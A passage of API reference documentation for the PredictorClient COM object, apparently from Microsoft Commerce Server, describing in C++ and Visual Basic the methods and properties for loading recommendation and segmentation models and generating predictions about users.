PredictMostLikelySegment | Calculates the segment to which the user most likely belongs.
SaveModelToFile | Saves a model to the specified file.

Properties

[C++]
Property | Type | Description
fpDataFitScore | float | Stores the Data Fit Score. This property is read-only.
fpDefaultConfidence | float | Stores the threshold for confidence in a prediction. This property is read/write.
bFailOnUnknownInputAttributes | VARIANT_BOOL | Controls the behavior of the Predict method when input attributes are unknown. This property is read/write.
fpPopularityPenalty | float | Stores the penalty applied when selecting popular items to recommend. This property is read/write.
fpRecommendScore | float | Stores the Recommendation Score. This property is read-only.
sSiteName | BSTR | Stores the site name in which the PredictorClient object is running. This property is read/write.
[Visual Basic]
Property | Type | Description
fpDataFitScore | Single | Stores the Data Fit Score. This property is read-only.
fpDefaultConfidence | Single | Stores the threshold for confidence in a prediction. This property is read/write.
bFailOnUnknownInputAttributes | Boolean | Controls the behavior of the Predict method when input attributes are unknown. This property is read/write.
fpPopularityPenalty | Single | Stores the penalty applied when selecting popular items to recommend. This property is read/write.
fpRecommendScore | Single | Stores the Recommend Score. This property is read-only.
sSiteName | String | Stores the site name in which the PredictorClient object is running. This property is read/write.

Remarks

Applications that need to anticipate user behavior use the PredictorClient object to load analysis models and generate predictions. The models use a specified set of partial cases as the basis for their predictions. A case is all that is known about a previous user and may contain demographic information and transactional history.

Use the PredModelBuilder object to generate new models. Use the PredictorServiceAdmin object to retrieve a list of models and model configurations. Use the PredictorServiceSiteAdmin object to delete or rename models and model configurations.

Measure the effectiveness of a prediction model using the fpDataFitScore and the fpRecommendScore properties. This allows fine-tuning of the input parameters, such as SampleSize, InputAttributeFraction, and OutputAttributeFraction, when building the model.

Load a model using the LoadModelFromDB or LoadModelFromFile methods prior to using other PredictorClient methods.

For optimum performance when using a prediction model, default values for the fpDefaultConfidence and fpPopularityPenalty properties should be set in the Application_OnStart method in the global.asa file, to avoid having to explicitly set the values for every Predict method call.

See Also

[C++]

Business Analysis Objects

Predictor Schema

PredictorServiceAdmin Object

PredictorServiceSiteAdmin Object

PredModelBuilder Object

Running the Predictor Resource

[Visual Basic]

Business Analysis Objects

Predictor Schema

PredictorServiceAdmin Object

PredictorServiceSiteAdmin Object

PredModelBuilder Object

Running the Predictor Resource


IPredictorClient Methods [C++]

PredictorClient Methods [Visual Basic]

Methods

[C++]
Method | Description
Explain | Explains the prediction of a property in terms of the relevant property/value pairs used as input to the prediction model.
LoadModelFromDB | Loads a model from a database.
LoadModelFromFile | Loads a model from the specified file.
Predict | Predicts recommend products or missing profile data.
PredictAllSegments | Calculates the probabilities that the user belongs to each segment of a population of past users.
PredictMostLikelySegment | Calculates the segment to which the user most likely belongs.
SaveModelToFile | Saves a model to the specified file.
[Visual Basic]
Method | Description
Explain | Explains the prediction of a property in terms of the relevant property/value pairs used as input to the prediction model.
LoadModelFromDB | Loads a model from a database.
LoadModelFromFile | Loads a model from the specified file.
Predict | Predicts recommend products or missing profile data.
PredictAllSegments | Calculates the probabilities that the user belongs to each segment of a population of past users.
PredictMostLikelySegment | Calculates the segment to which the user most likely belongs.
SaveModelToFile | Saves a model to the specified file.


IPredictorClient::Explain Method [C++]

PredictorClient.Explain Method [Visual Basic]

Use this method to return the properties and values from the current case that are relevant to a prediction of the specified unknown property. A score corresponding to each returned property/value pair explains the importance of each property/value pair to the prediction.

Definition

[C++]
HRESULT IPredictorClient::Explain(
  IDictionary* dCurrentCase,
  BSTR sPropToExplain,
  VARIANT* pvsavRelevantProps,
  VARIANT* pvsavRelevantValues,
  VARIANT* pvsavRelevantScores,
  long lMaxExplanations
);
[Visual Basic]
Sub Explain(
  dCurrentCase As Object,
  sPropToExplain As String,
  pvsavRelevantProps As Variant,
  pvsavRelevantValues As Variant,
  pvsavRelevantScores As Variant,
  Optional lMaxExplanations As Long
)

Parameters

dCurrentCase [C++]
[in] A pointer to the IDictionary interface of a Dictionary object that contains the current case.
dCurrentCase [Visual Basic]
A Dictionary object that contains the current case.
sPropToExplain [C++]
[in, string] A BSTR that contains the name of the property to explain.
sPropToExplain [Visual Basic]
A String that contains the name of the property to explain.
pvsavRelevantProps [C++]
[out] A pointer to a VARIANT used to return a SAFEARRAY containing the list of properties from the current case that are relevant to the prediction.
pvsavRelevantProps [Visual Basic]
A Variant used to return a SafeArray containing the list of properties from the current case that are relevant to the prediction.
pvsavRelevantValues [C++]
[out] A pointer to a VARIANT used to return a SAFEARRAY containing the list of values corresponding to the relevant properties.
pvsavRelevantValues [Visual Basic]
A Variant used to return a SafeArray containing the list of values corresponding to the relevant properties.
pvsavRelevantScores [C++]
[out] A pointer to a VARIANT used to return a SAFEARRAY containing the list of scores corresponding to the importance of each property towards the prediction.
pvsavRelevantScores [Visual Basic]
A Variant used to return a SafeArray containing the list of scores corresponding to the importance of each property towards the prediction.
lMaxExplanations [C++]
[in, optional, default value (-1)] A long that contains the maximum number of properties to return. The default value indicates to return all the properties.
lMaxExplanations [Visual Basic]
A Long that contains the maximum number of properties to return. The default value of -1 indicates to return all the properties.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method returns property/value/score triplets sorted in descending order by score. The higher the score, the greater the probability the unknown property is correctly predicted by the corresponding property/value pair.

Load the prediction model using the LoadModelFromDB or LoadModelFromFile methods prior to using this method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The pvsavReleventProps, pvsavRelevantValues, and pvsavRelevantScores parameters contain valid data only if the method completes successfully.

[Visual Basic]

Example

' dCase is a Dictionary object
' vsavRelevantProps, vsavRelevantValues, vsavRelevantScores
'  are Variant SafeArrays
oPredictorClient.Explain dCase, """Age""", vsavRelevantProps, _
 vsavRelevantValues, vsavRelevantScores, 10

See Also

[C++] PredictorClient Object

[Visual Basic] PredictorClient Object


IPredictorClient::LoadModelFromDB Method [C++]

PredictorClient.LoadModel MethodFromDB [Visual Basic]

Use this method to load a model stored in a database.

Definition

[C++]
HRESULT IPredictorClient::LoadModelFromDB(
  BSTR sModelName,
  BSTR sDWConnStr
);
[Visual Basic]
Sub LoadModelFromDB(
  sModelName As String,
  sDWConnStr As String
)

Parameters

sModelName [C++]
[in] A BSTR that contains the model name.
sModelName [Visual Basic]
A String that contains the model name.
sDWConnStr [C++]
[in] A BSTR that contains the connection information for the Data Warehouse.
sDWConnStr [Visual Basic]
A String that contains the connection information for the Data Warehouse.

Return Values

[C++]

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic]

None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

A valid model must be loaded before calling the other methods of the PredictorClient object. This model, typically in the range of 100k to 10M, must be loaded onto the local Web server to ensure a timely response to a prediction request.

The information for the model is loaded from the PredictorModels table. For more information about this table, see Predictor Schema.

The sDWConnStr parameter must be a SQL OLE DB connection string.

Use the LoadModelFromFile method to load a model from a file.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

oPredictorClient.LoadModelFromDB "Purchase1", _
 "Provider=SQLOLEDB;Data Source=servername;Initial Catalog=Retail_dw;" _
 & "Integrated Security='SSPI';"

See Also

[C++]

PredictorClient Object

IPredictorClient::Predict

IPredictorClient::LoadModeFromFile

[Visual Basic]

PredictorClient Object

PredictorClient.Predict

PredictorClient.LoadModeFromFile


IPredictorClient::LoadModelFromFile Method [C++]

PredictorClient.LoadModelFromFile Method [Visual Basic]

Use this method to load a model stored in a file.

Definition

[C++]
HRESULT IPredictorClient::LoadModelFromFile(
  BSTR sFilePath
);
[Visual Basic]
Sub LoadModelFromFile(
  sFilePath As String
)

Parameters

sFilePath [C++]
[in] A BSTR that contains the file name, extension, and path.
sFilePath [Visual Basic]
A String that contains the file name, extension, and path.

Return Values

[C++]

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic]

None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

A valid model must be loaded before calling the other methods of the PredictorClient object. A model is originally stored in a database and must be loaded using the LoadModelFromDB method. Once loaded, the model may be saved to a file using the SaveModelToFile method.

The file path is relative to the current working directory of the calling process.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' PredictionModel2.mdl is stored in the working directory of the
'  calling process
oPredictorClient.LoadModelFromFile "PredictionModel2.mdl"

See Also

[C++]

PredictorClient Object

IPredictorClient::Predict

IPredictorClient::LoadModelFromDB

[Visual Basic]

PredictorClient Object

PredictorClient.Predict

PredictorClient.LoadModelFromDB


IPredictorClient::Predict Method [C++]

PredictorClient.Predict Method [Visual Basic]

Use this method to generate predictions that are used to recommend relevant products to a user, the current case, or to fill in missing profile data associated with the user.

Definition

[C++]
HRESULT IPredictorClient::Predict(
  IDictionary* dCurrentCase,
  ISimpleList* slPropsToPredict,
  VARIANT* pvsavPredictedProps
  VARIANT* pvsavPredictedVals
  long lMaxPredictions,
  VARIANT* pvsavDetails
);
[Visual Basic]
Sub Predict(
  dCurrentCase As Object,
  slPropsToPredict As Object,
  pvsavPredictedProps As Variant
  pvsavPredictedVals As Variant
  Optional lMaxPredictions As Long
  Optional pvsavDetails As Variant
)

Parameters

dCurrentCase [C++]
[in] A pointer to the IDictionary interface of a Dictionary object that contains the current case. The case is data about the user is in the form of property/value pairs.
dCurrentCase [Visual Basic]
A Dictionary object that contains the current case. The case is data about the user is in the form of property/value pairs.
slPropsToPredict [C++]
[in] A pointer to the ISimpleList interface of a SimpleList object that contains the names of the properties to predict.
slPropsToPredict [Visual Basic]
A SimpleList object that contains the names of the properties to predict.
pvsavPredictedProps [C++]
[out] A pointer to a VARIANT used to return a SAFEARRAY containing the predicted property names.
pvsavPredictedProps [Visual Basic]
A Variant used to return a SafeArray containing the predicted property names.
pvsavPredictedVals [C++]
[out] A pointer to a VARIANT used to return a SAFEARRAY containing the predicted property values.
pvsavPredictedVals [Visual Basic]
A Variant used to return a SafeArray containing the predicted property values.
lMaxPredictions [C++]
[in, optional, defaultvalue (-1)] A long that specifies the maximum number of predictions to return. The default value indicates to return all predictions.
lMaxPredictions [Visual Basic]
A Long that specifies the maximum number of predictions to return. The default value of -1 indicates to return all predictions.
pvsavDetails [C++]
[out, optional] A pointer to a VARIANT used to return a SafeArray containing the probabilities for a property having a value.
pvsavDetails [Visual Basic]
A Variant used to return a SafeArray containing the probabilities for a property having a value.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Predictions are made using the currently loaded prediction model based on user profile and selection information contained in the current case. The predicted property/value pairs are returned sorted in descending order of likelihood.

Set the fpDefaultConfidence and fpPopularityPenalty properties and load the prediction model using the LoadModelFromDB or LoadModelFromFile methods before using the Predict method.

Default values for the fpDefaultConfidence and fpPopularityPenalty properties may be set in the Application_OnStart method in the global.asa file to avoid having to explicitly set the values for every Predict method call.

The slPropsToPredict parameter is a SimpleList object that can contain either high level properties for example, SKU, or low level properties for example, QTY(sku1). Using low-level properties makes the prediction process a lot faster.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' dCase is a Dictionary object, slPropsToPredict is a SimpleList
' vsavPredictedProps, vsavPredictedValues are Variant SafeArrays
oPredictorClient.Predict dCase, slPropsToPredict, vsavPredictedProps, _
 vsavPredictedVals, 10

See Also

[C++] PredictorClient Object

[C++] IPredictorClient::LoadModelFromFile

[C++] IPredictorClient::LoadModelFromDB

[C++] IPredictorClient::get_fpDefaultConfidence, put_fpDefaultConfidence

[Visual Basic] PredictorClient Object

[Visual Basic] PredictorClient.LoadModelFromFile

[Visual Basic] PredictorClient.LoadModelFromDB

[Visual Basic] PredictorClient.fpDefaultConfidence


IPredictorClient::PredictAllSegments Method [C++]

PredictorClient.PredictAllSegments Method [Visual Basic]

Use this method to predict the probabilities that a particular user, the current case, belongs to each segment of a population.

Definition

[C++]
HRESULT IPredictorClient::PredictAllSegments(
  IDictionary* dCurrentCase,
  VARIANT* pvsavSegmentNames,
  VARIANT* pvsavProbabilities
);
[Visual Basic]
Sub PredictAllSegments(
  dCurrentCase As Object,
  pvsavSegmentNames As Variant,
  pvsavProbabilities As Variant
)

Parameters

dCurrentCase [C++]
[in] A pointer to the IDictionary interface that contains the current case. The case is data about the user is in the form of property/value pairs.
dCurrentCase [Visual Basic]
A Dictionary object that contains the current case. The case is data about the user is in the form of property/value pairs.
pvsavSegmentNames [C++]
[out] A VARIANT used to return a SAFEARRAY containing the segment names.
pvsavSegmentNames [Visual Basic]
A Variant used to return a SafeArray containing the segment names.
pvsavProbabilities [C++]
[out] A VARIANT used to return a SAFEARRAY containing the membership probabilities associated with the segment names.
pvsavProbabilities [Visual Basic]
A Variant used to return a SafeArray containing the membership probabilities associated with the segment names.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The Microsoft Research Cluster Engine Data Modeler groups similar users into segments. Similar segments are further grouped into higher order collections of segments, creating a hierarchy from which to analyze trends and discover hidden correlations. The returned probability associated with each segment name indicates the probability that the current user belongs to that segment.

Load the segment model using the LoadModelFromDB or LoadModelFromFile methods prior to using this method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The pvsavSegmentNames and pvsavProbabilities parameters contain valid data only if the method completes successfully.

[Visual Basic]

Example

' dCase is a Dictionary object
' vsavSegmentNames and vsavProbabilities are Variant SafeArrays
oPredictorClient.PredictAllSegments dCase, vsavSegmentNames, _
 vsavProbabilities

See Also

[C++] PredictorClient Object

[Visual Basic] PredictorClient Object


IPredictorClient::PredictMostLikelySegment Method [C++]

PredictorClient.PredictMostLikelySegment Method [Visual Basic]

Use this method to predict the most likely segment of a population to which a user, the current case, belongs.

Definition

[C++]
HRESULT IPredictorClient::PredictMostLikelySegment(
  IDictionary* dCurrentCase,
  VARIANT* pvarProbability,
  BSTR* pbstrSegment
);
[Visual Basic]
Function PredictMostLikelySegment(
  dCurrentCase As Object,
  Optional pvarProbability As Variant
) As String

Parameters

dCurrentCase [C++]
[in] A pointer to the IDictionary interface that contains the current case.
dCurrentCase [Visual Basic]
A Dictionary object that contains the current case.
pvarProbability [C++]
[out, optional] A pointer to a VARIANT used to return the membership probability associated with the segment name.
pvarProbability [Visual Basic]
A Variant used to return the membership probability associated with the segment name.
pbstrSegment [C++]
[out, retval] A pointer to a BSTR used to return the name of the segment most likely to contain the given case.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If successful, this method returns a String containing the segment name.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The Microsoft Research Cluster Engine Data Modeler groups similar users into segments. Similar segments are further grouped into higher order collections of segments, creating a hierarchy from which to analyze trends and discover hidden correlations.

This method returns the name of the segment most likely to contain the given case, and optionally, the probability that the user belongs to this segment.

Load the segment model using the LoadModelFromDB or LoadModelFromFile methods prior to using this method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The pvarProbability and pbstrSegment parameters contain valid data only if the method completes successfully.

[Visual Basic]

Example

' sSegment is a String, vProbabilty is a Variant
' dCase is a Commerce.Dictionary object
sSegment = oPredictorClient.PredictMostLikelySegment(dCase, vProbability)

See Also

[C++] PredictorClient Object

[Visual Basic] PredictorClient Object


IPredictorClient::SaveModelToFile Method [C++]

PredictorClient.SaveModelToFile Method [Visual Basic]

Use this method to save the currently loaded model to a file.

Definition

[C++]
HRESULT IPredictorClient::SaveModelToFile(
  BSTR sFilePath
);
[Visual Basic]
Sub SaveModelToFile(
  sFilePath As String
)

Parameters

sFilePath [C++]
[in] A BSTR that contains the file name, extension, and path relative to the working directory of the calling process.
sFilePath [Visual Basic]
[in] A String that contains the file name, extension, and path relative to the working directory of the calling process.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The directory where the file is saved must exist prior to the call.

A model must be loaded using the LoadModelFromDB or LoadModelFromFile methods before using the SaveModelToFile method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

oPredictorClient.SaveModelToFile "PredictionModel2.mdl"

See Also

[C++]

PredictorClient Object

IPredictorClient::LoadModelFromFile

IPredictorClient::LoadModelFromDB

[Visual Basic]

PredictorClient Object

PredictorClient.LoadModelFromFile

PredictorClient.LoadModelFromDB


IPredictorClient Properties [C++]

PredictorClient Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
fpDataFitScore | float | Stores the Data Fit Score. This property is read-only.
fpDefaultConfidence | float | Stores the threshold for confidence in a prediction. This property is read/write.
bFailOnUnknownInputAttributes | VARIANT_BOOL | Controls the behavior of the Predict method when input attributes are unknown. This property is read/write.
fpPopularityPenalty | float | Stores the penalty applied when selecting popular items to recommend. This property is read/write.
fpRecommendScore | float | Stores the Recommendation Score. This property is read-only.
sSiteName | BSTR | Stores the site name in which the PredictorClient object is running. This property is read/write.
[Visual Basic]
Property | Type | Description
fpDataFitScore | Single | Stores the Data Fit Score. This property is read-only.
fpDefaultConfidence | Single | Stores the threshold for confidence in a prediction. This property is read/write.
bFailOnUnknownInputAttributes | Boolean | Controls the behavior of the Predict method when input attributes are unknown. This property is read/write.
fpPopularityPenalty | Single | Stores the penalty applied when selecting popular items to recommend. This property is read/write.
fpRecommendScore | Single | Stores the Recommend Score. This property is read-only.
sSiteName | String | Stores the site name in which the PredictorClient object is running. This property is read/write.


IPredictorClient::get_fpDataFitScore Property [C++]

PredictorClient.fpDataFitScore Property [Visual Basic]

The fpDataFitScore property is a read-only property that returns the Data Fit Score, which measures the effectiveness of a prediction model to fill in missing profile data.

Definition

[C++]

Get method:

HRESULT IPredictorClient::get_fpDataFitScore(
  float* pVal
);
[Visual Basic]
Property fpDataFitScore As Single

Parameters

pVal [C++]
[out, retval] A pointer to a float used to return the Data Fit Score.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the following Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The Data Fit Score is automatically computed when a model is built, using a fraction of the data as test data. The amount of data to set aside for testing purposes is specified as the Measured Accuracy Sample Fraction. For more information, see Building a New Analysis Model and PredictorModels Table.

Use the Data Fit Score to test and fine-tune the input parameters for a prediction model. Known cases, taken from the input cases used to build the model, are tested against both the prediction model and a "stalking horse" model. The " stalking horse" model is a marginal model that assumes all properties are independent. An intermediate value is calculated by dividing the probability the prediction model assigns to a case in the test data by the probability the "stalking horse" model assigns to the same case. The score is the logarithm of the geometric average of these values for each output property. Thus, any score greater than zero means that the built model makes predictions that are more accurate than the "stalking horse" model.

Load the prediction model using the LoadModelFromDB or LoadModelFromFile methods prior to accessing this property.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The pVal parameter contains valid data only if the property is accessed successfully.

See Also

[C++] PredictorClient Object

[C++] IPredictorClient::Predict

[Visual Basic] PredictorClient Object

[Visual Basic] PredictorClient.Predict


IPredictorClient::get_fpDefaultConfidence, put_fpDefaultConfidence Property [C++]

PredictorClient.fpDefaultConfidence Property [Visual Basic]

The fpDefaultConfidence property is a read/write property that determines the threshold below which predictions are not returned by the PredictorClient object.

Definition

[C++]

Get method:

HRESULT IPredictorClient::get_fpDefaultConfidence(
  float* pVal
);

Put method:

HRESULT IPredictorClient::put_fpDefaultConfidence(
  float pVal
);
[Visual Basic]
Property fpDefaultConfidence As Single

Parameters

pVal [C++]
[in] When putting the property, a float that contains the threshold confidence for prediction. Valid range is 0 to 100.
[out, retval] When getting the property, a pointer to a float used to return the cutoff value for prediction confidence.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the following Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following standard COM error value has a particular meaning in the context of this property.

E_INVALIDARG

The value of the property is outside the valid range of 0 to 100.

Remarks

The fpDefaultConfidence property is a threshold that determines which attributes can be shown on the recommendation list. When a prediction is made, each attribute is assigned a probability of "not missing", which in most uses will correspond to the probability that the product will be purchased. If this probability (in percentage) falls below fpDefaultConfidence, then the attribute is not shown on the recommendation list even when this probability is large relative to probabilities of the other attributes being "not missing". The property should be within the range of 0 to 100, but a value of zero (0) is recommended unless the fpPopularityPenalty property is set to zero (0).

Set a default value for this property in the global.asa file to avoid setting the value for each Predict method call.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The pVal parameter contains valid data only if the property is accessed successfully.

See Also

[C++] PredictorClient Object

[C++] IPredictorClient::Predict

[Visual Basic] PredictorClient Object

[Visual Basic] PredictorClient.Predict


IPredictorClient::get_bFailOnUnknownInputAttributes, put_bFailOnUnknownInputAttributes Property [C++]

PredictorClient.bFailOnUnknownInputAttributes Property [Visual Basic]

The bFailOnUnknownInputAttributes property is a read/write property that controls whether the Predict method continues or fails when encountering unknown input attributes.

Definition

[C++]

Get method:

HRESULT IPredictorClient::get_bFailOnUnknownInputAttributes(
  VARIANT_BOOL* pbVal
);

Put method:

HRESULT IPredictorClient::put_bFailOnUnknownInputAttributes(
  VARIANT_BOOL pbval
);
[Visual Basic]
Property bFailOnUnknownInputAttributes As Boolean

Parameters

pbVal [C++]
[in] When putting the property, a VARIANT_BOOL that indicates whether the Predict method should fail on unknown input attributes. The default value is False.
[out, retval] When getting the property, a pointer to a VARIANT_BOOL indicating whether the Predict method fails on unknown input attributes.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the following Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This property is used as a debugging flag. By default, the Predict method ignores unknown input attributes. Setting this property to True causes the Predict method to fail when unknown input attributes are encountered.

When debugging, set a default value for this property in the global.asa file to avoid setting the value for each Predict method call.

Load the prediction model using the LoadModelFromDB or LoadModelFromFile methods prior to accessing this property.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The pbVal parameter contains valid data only if the property is accessed successfully.

See Also

[C++] PredictorClient Object

[C++] IPredictorClient::Predict

[Visual Basic] PredictorClient Object

[Visual Basic] PredictorClient.Predict


IPredictorClient::get_fpPopularityPenalty, put_fpPopularityPenalty Property [C++]

PredictorClient.fpPopularityPenalty Property [Visual Basic]

The fpPopularityPenalty property is a read/write property that influences the likelihood that the Predict method recommends popular items.

Definition

[C++]

Get method:

HRESULT IPredictorClient::get_fpPopularityPenalty(
  float* pbVal
);

Put method:

HRESULT IPredictorClient::put_fpPopularityPenalty(
  float pbVal
);
[Visual Basic]
Property fpPopularityPenalty As Single

Parameters

pbVal [C++]
[in] When putting the property, a float that contains the popularity penalty value to be applied to subsequent predictions. Valid range is 0.0 to less than 1. Default is zero (0).
[out, retval] When getting the property, a pointer to a float used to return the popularity penalty value used in predictions.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the following Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following standard COM error value has a particular meaning in the context of this property.

E_INVALIDARG

The parameter pbVal = 1. The valid range is 0 to less than 1.

Remarks

Popular items are frequently purchased items that are so well known that they do not need to be recommended to a user. A higher penalty value reduces the probability that a popular item is included as a recommended product in the prediction results. The value ranges from 0.0 to less than 1.0. To maximize sales of the most popular items, the default popularity penalty of zero (0) is recommended. For applications where most of the users are familiar with many of the popular products, a value of 0.9 is appropriate.

Set a default value for this property in the Application_OnStart method in the global.asa file to avoid setting the value for each Predict method call.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The pbVal parameter contains valid data only if the property is accessed successfully.

See Also

[C++]

PredictorClient Object

IPredictorClient::Predict

[Visual Basic]

PredictorClient Object

PredictorClient.Predict


IPredictorClient::get_fpRecommendScore Property [C++]

PredictorClient.fpRecommendScore Property [Visual Basic]

The fpRecommendScore property is a read-only property that returns the Recommendation Score, which measures the quality of a ranked list of recommendations returned from a prediction model.

Definition

[C++]

Get method:

HRESULT IPredictorClient::get_fpRecommendScore(
  float* pVal
);
[Visual Basic]
Property fpRecommendScore As Single

Parameters

pVal [C++]
[out, retval] A pointer to a float used to return the Recommendation Score.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the following Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

